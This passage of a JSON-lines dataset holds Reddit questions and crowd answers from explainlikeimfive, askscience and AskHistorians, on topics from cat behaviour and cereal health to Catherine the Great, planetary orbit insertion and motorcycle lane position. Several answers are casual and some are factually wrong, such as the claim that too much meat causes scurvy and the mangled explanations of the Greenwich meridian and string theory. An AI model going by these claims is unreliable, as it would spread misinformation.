The simplest things that count as \"life\" are probably not conscious in this sense. Self-replicating macromolecules are on the borderline of \"life\". They don't do any information processing.\n\nBoth of these requirements can be met by chemical substrates other than carbon-based ones. Silicon works, in theory.\n\nThe question of \"why are we alive at around 300 Kelvin\" can be best answered from a chemical perspective. This is the temperature at which the stew of chemicals here performs in the right way to form self-replicating chemical structures (life). It is similar to asking why we need a certain temperature to have sulfuric acid rain on venus. It is a physical phenomenon and counts on certain conditions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Hypothetical_types_of_biochemistry"], ["https://en.wikipedia.org/wiki/Thermophile"], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://articles.adsabs.harvard.edu/cgi-bin/nph-iarticle_query?1976ApJS...32..737S&amp;amp;data_type=PDF_HIGH&amp;amp;whole_paper=YES&amp;amp;type=PRINTER&amp;amp;filetype=.pdf"], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Consciousness"], [], [], [], []]}
{"q_id": "24qrm5", "title": "why do cats tend to bond to only one person?", "selftext": "My wife and I each have a cat that we have had since before we started dating. Although each cat has become more receptive to each respective owner, they still have limits on how much each of us can interact with them. Dogs seem much more flexible when it comes to accepting affection from a new\" pack member\". I understand cats in the wild are much more solitary but, when raised by people, it would seem they would be more social. Any ideas on this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24qrm5/eli5_why_do_cats_tend_to_bond_to_only_one_person/", "answers": {"a_id": ["ch9qykl", "ch9rfbx"], "score": [5, 11], "text": ["Probably the same reason I can pet my cats stomach but if anyone else tries he attempts murder", "Cats have complex social lives and form multiple bonds.\n\nEither you are experiencing a perception bias or your cats are just weird."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1zrnl5", "title": "what does the g8 actually do?", "selftext": "What have they actually accomplished?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zrnl5/eli5_what_does_the_g8_actually_do/", "answers": {"a_id": ["cfwdsh2"], "score": [5], "text": ["They make international agreements and stuff like that. Recently they agreed to share info on terrorists and paedophiles."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3goyuq", "title": "why isn't the royal observatory in greenwich located at exactly 0.00000 degrees longitude?", "selftext": "I mean, when scientists made very minor adjustments over time, surely they could have shifted the whole arrangement west by a few metres to match up with the Observatory line again, since it is more-or-less an arbitrary origin point, isn't it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3goyuq/eli5_why_isnt_the_royal_observatory_in_greenwich/", "answers": {"a_id": ["cu04ibj"], "score": [3], "text": ["It is all arbitrary, and depends on the origin point you use. Since the earth isn't a perfect sphere but longitude and latitude system is, these systems don't line up perfectly, especially over long distances from the origin. The current system used around the world is based on GPS satellites, which was an American invention and thus our system is based on american origin points. Th observatory is an older system that is based on it, it is more accurate for British measurements though "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3h3m69", "title": "how to use this tie technique", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3h3m69/eli5_how_to_use_this_tie_technique/", "answers": {"a_id": ["cu3xbm0"], "score": [2], "text": ["With all due respect, you don't want to learn how to do this. Because it would only work for the half-Windsor knot, and no self-respecting adult should voluntarily wear a half-Windsor knot. It looks sloppy and lazy, and you deserve better.\n\nInstead of looking like a scruffy man-child who still ties his tie like a teenager, do yourself a favour and learn how to tie the [full Windsor](_URL_0_). It's two more steps, but looks far more presentable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=T0NPYZyI7V8"]]}
{"q_id": "9y0xgx", "title": "How does a body detect that an organ is not its own?", "selftext": "Not sure about grammar, English isn't my 1st language", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9y0xgx/how_does_a_body_detect_that_an_organ_is_not_its/", "answers": {"a_id": ["e9xfiwl", "e9ys7uu"], "score": [20, 3], "text": ["Every cell in our bodies have MHC I proteins that tell our immune system self vs non-self. There are millions of MHC I sequences so each and every person has a different MHC I. The more different the cells/organ is the stronger the response would be against it.", "Each cell has a little tag on it, also called an antigen, telling the body that its a self cell or foreign cell, cancers and some parasites can manipulate those tags and tell the body and immune system not to attack them. Sometimes donor organs antigens just arent a match with the antigens in a recipient and the body rejects and attacks it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4no121", "title": "are cereals unhealthy on the long term?", "selftext": "My friend just told me it's been proven that cereals are not good for you, and mentioned cancer because of an oxidation process.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4no121/eli5_are_cereals_unhealthy_on_the_long_term/", "answers": {"a_id": ["d45grph", "d45iavq", "d45likn", "d45lvk7", "d45mt2h", "d45r8de"], "score": [53, 15, 39, 10, 4, 2], "text": ["Did your friend read that on the internet? Or do they have a reputable source?", "No single food source is \"unhealthy\" in moderation any food source is fine. \n\nAll food sources are made up of varying amounts protein, fats, carbs, fiber, vitamin and minerals. \n\nCereal tends to be higher in carbohydrates, mostly sugars and have little else except occasionally fiber.  Thus I wouldn't suggest eating it for every meal, but in moderation is fine. \n\nYour friend sounds like he has read a clickbait article somewhere and believes everything he reads on the internet.   ", " >  My friend just told me it's been proven that cereals are not good for you, and mentioned cancer because of an oxidation process.\n\nYour friend has taught you something very valuable: He has no idea what he's talking about. The next time he tells you something, remember this.\n\nCereals are just food. They a mix of carbohydrates, proteins, fats, non-digestible stuff (fiber) and some amount of trace chemicals known as vitamins. They don't cause any more cancer than anything else. \n\nIf fact, if you're worried about cancer, toxic chemicals tend to build up as you move up the food chain, so eating an animal that eats grains is going to be riskier than eating the grain yourself. \n\n", "If it's not oats or shredded-wheat, it's probably loaded with sugar. Some cereal with the sugar they add is okay in moderation , like Cheerios, Rice Cripsies, or Cornflakes.", "You're friend is gullible.\n\nAll foods are just that - food. \n\nCereals tend to be concentrated with carbohydrates and have lots of calories. That does not make it inherently bad for you at all. If you eat too much of anything, then there will be negative effects.\n\nFor example someone who only eats fruits and vegetables is going to suffer 2 things: not enough calories (unless they can some how eat tons of it) and not all nutrients. Eating too much meat will give you scurvy.\n\nPeople who say \"oh X is unhealthy!\", \"it lacks complete proteins so you shouldn't eat it!\", \"it has carbs so it must be bad!\", \"sugar is bad for you!\" are probably the same people who read clickbait articles made by bloggers.", "Your friend might be thinking of BHT (or BHA, forget which) that is used in packaging some cereal which is suspected to be cancerous but needs more study."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "52tox9", "title": "how have string theorists narrowed in at an estimate of 10^500 possible universes?", "selftext": "Like funny money, super high numbers are difficult to comprehend. How can string theorists zero in on a number like this with some degree of confidence? Why 10^500 and not 10^999999?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/52tox9/eli5how_have_string_theorists_narrowed_in_at_an/", "answers": {"a_id": ["d7nfo5c", "d7ngnzi", "d7nkzbo"], "score": [2, 8, 7], "text": ["Okay, well it sounds absurd when you think about how many there are and how someone could calculate that. I'll try to explain it the best I can while reasoning you are not in the questions field of study.\n\nWell the number they designated, was like 10^10^16, if I'm not mistaken. It would actually be even bigger than that if observers were not limited in their ability to distinguish new universes. \n\nTo calculate this estimate, physicists went back to the big bang, and generated quantum fluctuations. Then during the period of inflation, the universe substantially grew, and the fluctuations were frozen into deviations In distict regions. Now thinking about these today, they could all be different universes. \n\nBy analyzing slow roll inflation that initially generated the quantum fluctuations, physicists can actually estimate a number far larger then the number I described. Since the total amount of information an individual can absorb in a lifetime is about 10^16 bits, which is equivalent to 10^10^16 configurations, this means that a human brain couldn't distinguish more than 10^10^16 universes. \n\nDealing with quantum physics is a completely different scenario then talking about everyday life. That's why it sounds absurd.", "It is difficult to answer this question without going into string theory but as my knowledge doesn't contain the inner-workings of that theory i will do without. Basically The concept is that every universe is created by something. String theorists think that this something is a theoretical string the size of the smallest number we can come up with in math (Planck's length) and it is these which somehow effect the determine the universes laws. This make it mathematical where we can say with ~~little~~ some certainty how many possibilities could arise from this. Math is good in this case because it is not controlled by the laws that govern the universe but instead governs itself with laws we have set it place. This however is purely theoretical and to put it in perspective the number 10^500 is more than the number of atoms in our whole universe. \n\nTL;DR) basically we try and find the most fundamental properties of what makes a universe and mathematically find all the possibilities.", " > How can string theorists zero in on a number like this with some degree of confidence?\n\nUntil they make some testable predictions, string theorists can't do anything with confidence."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1by8ya", "title": "Who did more for their nation's prominence in the 18th century, Maria Theresa or Catherine the Great?", "selftext": "Arguably both these women expanded the prestige and standing of the Habsburg territories and Russia respectively on a European stage. Who do you think brought their governmental state more to the forefront of international politics?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1by8ya/who_did_more_for_their_nations_prominence_in_the/", "answers": {"a_id": ["c9bfm4s"], "score": [6], "text": ["Maria Theresa promoted a technical education for her more talented subjects, to replace amateurs in government service with professional civil servants, to better solve economic problems and so that the law might function better. And for the sake of efficient policing, she maintained the practice of torture.\n\nShe was devoted to the welfare of all her law-abiding subjects \u2013 in addition to being a devoted mother to her sixteen children. And her subjects returned that devotion. She welcomed the new public health service which was associated with the University of Vienna. She was a devout Catholic, but sought to limit the Papal political influence in her realm, and she moved to bring the Church under an increasing government control, while the Church held onto its lands and the serfs upon those lands. The Church continued to do those things that Maria Theresa believed in: organizing relief for the poor and other welfare services, running the hospitals and the judiciary. The Church continued to run the schools, including universities, and to dominate intellectual life through censorship and its ownership of newspapers.\n\nMaria Theresa approved of an elementary and intermediate education for unexceptional common people that did not subvert traditional values. She wished simple people to be left with their simple faith. One of her ministers described the only purpose in schooling common children as giving them a horror of theft, lying, drunkenness, ingratitude and other vices. Maria Theresa's husband, Francis Stephen, died in 1765 when she was forty-eight. She cut her hair and grieved for years, while sharing power with first her son, Joseph, who as Joseph II succeeded her husband as titular head of the Holy Roman Empire. In 1780 Maria Theresa died, and Joseph II began liberalizing his government. He allowed faiths other than Roman Catholic to construct churches and schools. He abolished the death penalty and torture for extracting confessions. He allowed marriage by purely civil contract. He freed peasants from feudal dues, allowed them to marry whom they pleased and to buy land from their former lords at modest fee. Concerned about doing good he built orphanages, hospitals and parks. His reforms were resisted in Hungary and the Austrian Netherlands. And after he died in 1790 his successor, and brother, Leopold II, began to water down and sometimes cancel his reforms.\n\n____________________________________________________________\n\nCatherine II considered herself enlightened. She corresponded with learned men, including Voltaire. She wished to be a \"defender of oppressed innocence,\" to spread education and to otherwise reform Russia. She exercised her authority over the Eastern Orthodox Church \u2013 which owned one-third of Russia's agricultural land and one-third of its serfs. Catherine confiscated much of its lands and left the church's clergy as state paid functionaries.\n\nCatherine gave up wanting to create an \"enlightened\" constitution and political reforms. Wanting to keep all of her power, she joined others in believing that absolute monarchy was the best form of government \u2013 best, she believed, when done properly. Russian society appeared to her too chaotic for any sharing of power. But she knew that to rule she had to have the support of a segment of society that had a collective power of sorts, and to this end she tried to please the nobility. She released them from the obligation to serve the state that had been imposed on the nobility by Ivan the Terrible. She extended the nobility's power over the people living on and working their lands. Under her rule, serfdom was extended to over a million people who had previously been freed.\n\nFailing at reform that benefited common people, Catherine sought distraction for her subjects in the grandeur of imperial expansion. She sought to expand Russian rule to the Black Sea and to Constantinople, to return Christianity there, and to free Moldavia and Walachia from the Ottomans. Already she had expanded her influence in Poland, with the support of her new ally, Frederick the Great. After Augustus III of Saxony and Poland had died (in 1763), she installed as king of Poland one of her lovers, Stanislaus Poniatovski, who became Stanislaus II, Catherine believing that his lack of qualifications for that honor would make him all the more grateful for his appointment, and therefore more subservient.\n\nIn 1768, Catherine's army pushed southwest from the Dnieper River into the Balkans, scoring victories and calling on Christians to join them against the Ottomans. Another Russian force invaded and captured the Crimea. A Russian fleet sailed from the Baltic Sea through the Strait of Gibraltar and into Ottoman waters in the Aegean Sea where, on July 6, 1770, near the island of Chios, they sank the Turkish navy.\n\nThe Russian fleet was unable to do more for the Russian effort following this victory. The war on land was bogged down, and the Christians in Ottoman lands had failed to join the Russians. Austria was concerned about Russian expansion into the Balkans. To allay the hostility of the Habsburgs, Frederick, who was allied with the Russians, organized an agreement with Russia and Joseph II of Austria. The three of them were to take lands from Poland. Maria Theresa had always gone to war for territory that she believed was hers \u2013 namely Silesia \u2013 and she objected to her son taking land that did not belong by tradition to the Habsburgs. But her son, Joseph, had no such objection. In what became known as the First Partition of Poland, in 1772, the Habsburgs extended their rule into Galacia, Brandenburg-Prussia received land between Pomerania with East Prussia \u2013 except for the port city of Danzig, and Russia expanded to the W. Dvina River (near the port city of Riga) and to the Dnieper River, halfway to the city of Minsk, adding 1.3 million subjects to Catherine's rule.\n\nAfter the death of the Ottoman Sultan, Mustafa, in July 1774, Ottoman resistance to the Russians weakened, and the Ottomans were ready to settle with the Russians. Catherine was facing a peasant uprising that had begun among Cossacks in the Ural River region, led by Emelian Pugachev. The rising spread to serfs, miners in the Urals, factory workers, Bashkirs, Tatars and other minorities within Russia, and to those Christians called Old Believers, and the revolt was threatening Moscow. Catherine settled with the Ottomans. By the Treaty of Kuchuk Kainarji, Russia received full possession of Azov and land south to the Kuban River; Russia's border shifted westward to the Dnieper River; Russia acquired land on the coast of the Black Sea; and it acquired a right of passage through the straits by Constantinople into the Mediterranean. The treaty proclaimed the Tatars of the Crimea autonomous within the Ottoman Empire. And Moldavia and Walachia remained within the Ottoman Empire.\n\nCatherine sent troops released from the war against the peasant revolt. Landlords, government officials and army officers eagerly supported Catherine, and Catherine's army easily defeated the uncoordinated rebel armies. Pugachev was brought to Moscow in chains and executed in public in an especially cruel fashion.\n\nIn 1783 \u2013 three years after Maria Theresa's death at the age of sixty-three - Catherine annexed the Crimea, and many of the Crimea's Tatars fled to Ottoman territory. That year, Irakli II of Georgia allied his multi-national state with Russia, Irakli acknowledging Russian suzerainty and Russia guaranteeing Georgian independence.\n\nIn 1786 \u2013 the year that Frederick died \u2013 Mozart's comic opera about oppression, The Marriage of Figaro, appeared. Three years later came the French Revolution. And two years after that, in the year of his death, at age thirty-five, came Mozart's other comic opera about oppression: The Magic Flute.\n\nThe revolution that swept France frightened Catherine, and she turned against intellectuals in Russia who sympathized with the revolution. After the executions of Louis XVI and his wife, Marie Antoinette (daughter of Maria Theresa) in 1793, Catherine broke off relations with France, proclaimed six weeks of mourning and welcomed refugees from France.\n\nAlso in 1793, Catherine, Joseph of Austria, and Frederick's nephew \u2013 Frederick William II \u2013 took advantage of the turmoil in France to confiscate more Polish lands, in what was called the Second Partition of Poland. In 1794 a national uprising by the Poles was crushed by the Russians, and, in 1795, Russia, Austria and Brandenburg-Prussia participated in what was to be known as the Third Partition of Poland. Brandenburg-Prussia took Warsaw, the Habsburgs took Krakow and expanded northward along the banks of the Bug River, and Catherine took Courland, Brest-Litovsk and what was left of Poland.\n\nCatherine was opposed to educating common people, believing that if the uneducated were educated they would stop obeying.\n\n\nALL IN ALL I believe even though Catherine was more authoritative in nature... I feel she contributed more to Russia"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "28tzqy", "title": "Where did the myth of the Fountain of Youth come from, and why exactly did the Spanish have such a firm belief that it existed?", "selftext": "I guess I'm asking multiple questions here. Where did the tale of the Fountain originate? Why did the Spanish try to find something that was a myth? When did they stop searching for it? What kind of conflicts did the Fountain produce?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/28tzqy/where_did_the_myth_of_the_fountain_of_youth_come/", "answers": {"a_id": ["cierv7i", "ciets2f"], "score": [9, 40], "text": ["Did they really Have that firm belief? I'm from Spain and I haven't heard any mention to that legend. \n\nThe only close legend I've heard they were interested in was  about el dorado. ", "One of my early mentors and a good friend is Dr J. Michael Francis, currently a chaired professor of Florida Studies at the University of South Florida. He gives lectures on this sort of thing all the time. He is undoubtedly the top La Florida historian today. Here is one of his talks that he gives on the subject:\n\n[Fountain of Youth](_URL_0_)\n\nEDIT: The link is Dr Francis's presentation on this topic where he not only answers this question but also goes into the expansion of the myth into United States popular memory. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://youtu.be/PLgRQJ_U0dY"]]}
{"q_id": "v0loe", "title": "Are these rock mounds in the woods behind my house of any historical interest?", "selftext": "In the woods behind my parents house, there are a series of rock mounds, oval in shape, around 15m long by 10m wide, and maybe 1-2m high. These are very approximate guesses. Each of the mounds has a depression in the center around .5m to 1m deep. Although some of them are fairly eroded, some portions of the structures are stacked, which suggests that they served some purpose, although I suppose all it would take is one farmer 100 years ago with an odd hobby to make them. \n\nHere are some low quality pics of one of the structures.\n\n_URL_0_\n\ndownvote edit: Perhaps this isn't the right subreddit?\n\nedit 2: I am in upstate NY\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/v0loe/are_these_rock_mounds_in_the_woods_behind_my/", "answers": {"a_id": ["c5090jb", "c50914q", "c5099wo", "c509e2w", "c509fdl", "c509l0j", "c50a6nk", "c50abmo", "c50ahir", "c50fb23", "c50ftnu"], "score": [2, 4, 2, 2, 48, 3, 4, 8, 2, 2, 2], "text": ["Probably just the result of a farmer clearing his fields and stacking the stones at the edge.", "Some more information would be useful. If you are in Denmark then it will mean something different compared to if you are in the USA.", "Any signs of mortar? It sure looks like a hollow dome, too much work just to pile up some rocks. I want to say it's a crude kiln but my opinion doesn't  mean much .  ", "Have you tried asking around the neighborhood? There might be someone in the area who knows something about it. It's fairly standard practice among archaeologists to ask people near an interesting site if they know anything about it, just in case what looks like an ancient burial mound turns out to be where old Uncle Joe threw his garbage for fifty years. ", "These are the collapsed remains of small buildings, enclosures, and walls. They are extremely common in the NY/New England area. The whole region is very rocky. When a farmer tilling his field found large stones, rather than move them a great distance he would just build a low wall around the edges of his property with them. They were also commonly used for small buildings like sheds, dog kennels, etc...\n\nThey are so common you literally are unable to wander the New England woods for any significant period of time without tripping over a loose stone wall. \n\nI used to live in both regions and saw structures like this all the time. ", "Rock Piles \nThis is about rock piles and stone mound sites in New England\n_URL_0_", "Please update us if you find out.", "While they could certainly be farmer's push piles, the fact that they are hollow in the center makes me feel more like they are the remains of dry lain stone foundations for outbuildings. If your property had been a farm  of some type it would have had coops, maybe a smokehouse, corn crib, stables, etc. \n\nVery interesting and worth a look through old deeds or aerial photography to see if something shows up. Otherwise contact your friendly neighborhood archaeologist. ", "My guess is simply that it was easier to throw the rocks around a central point, rather than to heave them up to the top of the pile.  They look too loose to have ever been the foundation for anything.  ", "I live in a part of New Jersey outside of New York City, and along the Hudson River.  There are MANY entrenchments of stones and alignments etc. that were used during the Revolutionary War.  I even still hear about teens discovering caves or other artifacts that have remained untouched", "My initial thoughts were that they could be the remains of [small charcoal kilns](_URL_1_), although there doesn't seem to be enough stone for that.\n\nEDIT: (added link)\n\nNB. [Fig 24.](_URL_0_) of the pdf linked in the article looks remarkably similar to your pics, so yeah, I'd go with charcoal kilns."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/DcI9L"], "answers_urls": [[], [], [], [], [], ["http://rockpiles.blogspot.com/"], [], [], [], [], ["http://i.imgur.com/J0wvw.png", "http://northbennington.org/burden.html"]]}
{"q_id": "1qplni", "title": "How can NASA get in orbit around other planets?", "selftext": "I have been playing KSP for a while and this came up recently:\nHow does the NASA get into orbit around mars or jupiter (for example)? To save fuel i imagine they aerocapture, but is it common? Also, is there a limit on how much stress we can put the spacecraft in the atmosphere?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qplni/how_can_nasa_get_in_orbit_around_other_planets/", "answers": {"a_id": ["cdf6eoq", "cdf73is"], "score": [12, 8], "text": ["They use rocket motors, not aerocapture. Once the spacecraft gets in position near a planet, they orient the engine to point more or less opposite the direction of motion. Then they do an orbital insertion burn to get down to orbital velocity. Usually this leaves the craft in a highly elliptical orbit, so they keep doing burns at the apsids until they get the orbit they want.\n\nThis is part of why they're not going to orbit Pluto, getting out there in a reasonable time is going to take a lot of fuel and a couple of gravity assists. It will be going very fast when it gets there, which would require a lot of fuel to burn off. The other part of the reason is because they want to go to the Kuiper Belt.", "This is a very broad question and that makes it difficult to answer in detail. Interplanetary probes destined for orbits around planets must necessarily have a way of changing their orbits. Typically this is done with rocket engines. Cassini and Juno are both good examples of this. \n\nAerobraking has been used by a handful of missions. See this link: _URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Aerobraking#Spacecraft_missions"]]}
{"q_id": "3nnxd5", "title": "what would happen if the population of alaska unanimously wanted to become a part of canada?", "selftext": "And Canada also wanted Alaska. What could the US do about that? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nnxd5/eli5_what_would_happen_if_the_population_of/", "answers": {"a_id": ["cvprtdp", "cvpukxp"], "score": [7, 2], "text": ["Well, it depends. \n\nIn terms of international law, self-determination--the right to determine who their sovereign is, without external compulsion--is a human right, and likely a *jus cogens* norm. What that means, is that nearly everyone recognises the right of a people to self-determination. As such, technically, if the entire population of Alaska wanted to stop being a part of the United States and join Canada, the United States would be bound under international law to respect that. It would be similar to the referendum in Scotland, and the attempted demands at a referendum in Catalonia. \n\nOf course, on the flip side, the United States is unlikely to be very happy with this turn of events, and may well act to prevent. However, it's hard to predict what they would do. As shown above, there are very different ways the federal government could go about its response. The government could allow a referendum, and let the citizens of Alaska decide whether they wish to remain part of the US or not. The government could ignore it. They could try to negotiate with the Alaskan government to try and defuse the secession movement, though that might prove a bad precedent. They could declare that the right to self-determination does not apply to citizens of the states--though that'll be a massive issues in the international legal terms, and could well be seen as a massive human right's violation. Or, worst case scenario, the United States can say that it considers this not an act of self-determination, but a rebellion, and invade the state to prevent it. \n\nAs can be seen from the multiple secession movements in Europe, and in other places, what a state does to a part of it trying to break away can vary. There can be completely peaceful separations like the Czech Republic and Slovakia, there can be violent separations like in Yugoslavia, and there can be negotiations to change the status quo like in Scotland. It's impossible to say what would happen, as it'll likely be incredibly dependent on the specific facts and history leading up to such a claim. I", "By international law, if the majority of the people of Alaska wanted to not be Americans anymore, the US would have to grant them that right. \n\nThere is nothing in international law to force Canada to take them in, mind you. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9avasu", "title": "why do motorcyclists always ride on the edge of their lane, often right next to the opposite lane or dividing line? wouldn't it be safer to ride in the middle of the lane?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9avasu/eli5_why_do_motorcyclists_always_ride_on_the_edge/", "answers": {"a_id": ["e4ydowr", "e4ydwyf", "e4ye03p", "e4ye6p0", "e4yewmn", "e4ygb0w", "e4yghsx", "e4ygux9", "e4ygys4", "e4yhifu", "e4yhntp", "e4yhssa", "e4yhwxy", "e4yi71d", "e4yib1l", "e4yiqnp", "e4yir48", "e4yj3mx", "e4yj5vx", "e4yjcll", "e4yjfbw", "e4yjj39", "e4yjp2d", "e4yjso2", "e4yjt1m", "e4yjz3b", "e4yjz97", "e4yk0fu", "e4yk7ey", "e4yk82v", "e4ykct5", "e4ykxnt", "e4ylb17", "e4ylncw", "e4ym0yd", "e4ymxxm", "e4yn04f", "e4ynvoq", "e4yosiq", "e4yp95d", "e4ypocr", "e4yqv2q", "e4yr7k4", "e4yrjyz", "e4ysywc", "e4ytvlf", "e4yup7p", "e4yvdgg", "e4yw0o0", "e4ywaf0", "e4yxnyy", "e4yxsuy", "e4yxxsz", "e4yyh6r", "e4yyk49", "e4yynkf", "e4yzo6a", "e4z29ji", "e4z2cz5", "e4z3asp", "e4z3k3f", "e4z3n39"], "score": [5120, 330, 600, 1670, 534, 40, 383, 25, 3, 54, 3, 6, 2160, 4, 11, 3, 2, 3, 4, 30, 3, 65, 2, 2, 24, 3, 2, 6, 13001, 5, 4, 3, 2, 3, 7, 2, 2, 2, 6, 5, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2], "text": ["So you can see them in a rear view side mirror or behind a trailer. Not all vehicles have rear view mirrors in the center facing back, often that view is obstructed. Also when approaching intersections you are not hidden behind the vehicle in front of you.", "* the part of the lane where the car tires track along is often smoother and free from debris\n* when going around a curve, a good motorcyclist will start at the outside of the lane, drift to the inside by the halfway point, then drift back to the outside lane\n* on a road with two lanes in each direction, you are more visible if you are towards the edge of one lane (and in the middle of the road) and it maintains ownership of that space", "It's called presenting. Most people can't use their mirrors properly so we ride where we arent in a blind spot of the car in front of us. \n\nIt also helps incoming traffic see us. If an incoming car wants to make a left behind the car that is in front of me and it cant see me, it's going to turn right into me. ", "Also the center of the lane is where any oil or other fluid would be spilled by cars. Avoiding that is paramount. But it is primarily the higher visibility. ", "Also, to see past the car in front of you.  The further up the road you can see, the more time you can react to what happens in front of you.", "Blocking position, many reasons to list. \n\nPrevention other drivers from pushing us out of the lane, safer for the riders visibility on the road. Also gives more time to react if someone gets in our space. ", "When cars leak any oil or fluid it's always on the center of the road since that's where the oil pan is located on the car.  You don't want to slick your tires on a motorcycle.  ", "I was told its to avoid oil drips in the center. It is very dangerous for motorcycles.\n\n_URL_0_ \n\nThis video should be enlightening to how dangerous oil spills are.\n\nEdit: RIP headphone users. Seriously, volume down.", "The middle of the lane is often slicker than either side, due to oil and what not leaking from cars.  When you only have two wheels, slick equals very very bad. This is tough during motorcycle safety class, which in most stares you need to take if you want to get a motorcycle endorsement on your license.\n\nAlso, you're more likely to be seen by other motorists when you are close to the edge.\n\nSource - Am motorcycle rider.", "In a nutshell 3 reasons:\n1. To avoid debris and oil drips \n2. Better position for rear-view and blind spot visibility for the cars in front\n3. More space when turning", "Main reason, which I was taught during my riding course, so that you are in front of the driver\u2019s side of the vehicle behind you and more likely to be seen by that driver.", "I was told to do this for the simple reason that vehicles tend to leak fluids.  The tire tracks have the most grip and are less likely to have debris or fluids on the road.\n\nLearned this in a motorcycle education class.", "In addition to the other reasons listed, it's safer to stop near the edge at traffic lights/ behind other cars bc it means if some dickhead isn't paying attention and run up your arse you don't get smushed into the car ahead, you get knocked in between the 2 cars. ", "Car tired gradually wear down the road surface and remove debris, moving debris and creating a camber in the centre of the lane. You are also more visible and have a clearer view of the flow of traffic from the offside part of the lane. ", "A couple reasons\n\n* Better visibility. You can see them better.\n\n* Better visibility. They can see better.\n\n* The middle of a lane is actually more slick than the sides. Cars that leak oil typically deposit that in the middle of the lane, and since car wheels are on the sides of lanes it rarely gets swept away in traffic, making it more slick. \n\n* More reaction options. ", "We are always trying to:\n\nA: Buffer, i.e giving as much space between us and whatever might kill us, and time to react to whatever might kill us.\n\nB: Ensure that we aren't sitting in blind spots\n\nC: Taking required lines into corners\n\nThis means a motorcyclist will move all over the lane, but in general, that will be as far away from other cars as possible, and as far ahead in traffic as possible.", "To confirm everything being said here; easier to see, to be seen, to escape a shitty situation, and it can be more clean there in general.  Roads are shaped like a curve being highest in the middle.  Shit rolls downhill etc.", "Oil slicks in the road as a lot of cars drip oil.  Go into a parking lot and look in the parking spots, you\u2019ll see big oil spots.", "Mostly to be seen from the side mirror, it's hard to notice a bike when most who drive regular cars don't look especially for them.", "I'd also like to add that on a bike I feel I can react a little quicker by riding to one side. Say if the car in front of me brakes suddenly I can easily and quickly switch lanes instead of trying to brake abruptly. Bikes don't have the same stopping power cars do, and you can't just fully slam on the brakes like in a car (with most bikes at least)", "You stay in the edge of the lane so that you are more visible, and it is easier to avoid hazards on the road (paint, manholes, oil dropped by cars), if you are rear ended and you are closer to the edge of the car you have less chance to be sandwiched between cars, and if you are riding in a group with other riders you can stance out to be more visible as there will be two headlights showing up instead of just one.", "Thanks for this question and the answers. As a car driver (have never tried driving a motorcycle before), I always found it annoying when motorcyclists would ride on the edge of their lane as I sometimes find it difficult to overtake them whenever they are in front of me. Seeing the answers make me understand motorcyclists a bit more and might make me less annoyed if ever I see them again on the edge of a lane.", "If you want a really good answer skip to about 4 minutes into the video. It's not as much about the guy you are following, but the guy coming towards you and him seeing you.\n\n\n _URL_0_\n\n", "I like it because if I ride in the middle of the lane I can only see the car right in front of me, if I move to the right edge of the lane I can see a lot farther and more cars in front of me or if traffic is at a complete stop ahead. I also don\u2019t really have to move if I want to start splitting lanes. ", "It's a trait that has evolved through natural selection...\n\n\u200b\n\nThose than ride in the center are less likely to survive, and over time, you end up with only edge riding cyclists.", "It's called blocking. It's all around safer. If you leave space to your left people will run you into the shoulder trying to pass while straddling the yellow. ", "When I ride I go in all parts of the lane depending on the road condition. Usually I'm in the center or the center-left, but you're always watching the road and other cars for the best position to be in in case you need to maneuver out of the way or for unfavorable road conditions. Then there's turning which is a big deal on a motorcycle, you start on the outside of the turn and move Inward and then back outside. But yeah I rarely stay in the same part of the lane for too long when you move a little bit side to side you don't stay in as many people's blind spots.", "Adding to the other reasons given, it provides an escape route in case people in front slam on the brakes.  People often think bikes but brake faster than cars because they accelerate so fast.  The opposite is actually true, bikes essentially depend of the tiny contact patch of their front wheel for almost 100% of their braking because all of the weight ends up on that wheel.  So much so that using the rear brake too much can cause that tire to lock up and unsettle the bike.  Because of that, bikes actually brake slower than most cars, but it is trivial to fit through the wide gaps in between cars (and in most places around the world, completely legal to do so in any situation).  It is usually easier to avoid an accident by swerving out of the way of it than by hard braking.  To add to that, if someone from behind comes up too fast and is probably going to rear end the bike, it helps the biker avoid getting squished.\n\n & #x200B;\n\n & #x200B;", "Motorcycle instructor here:\n\nThere 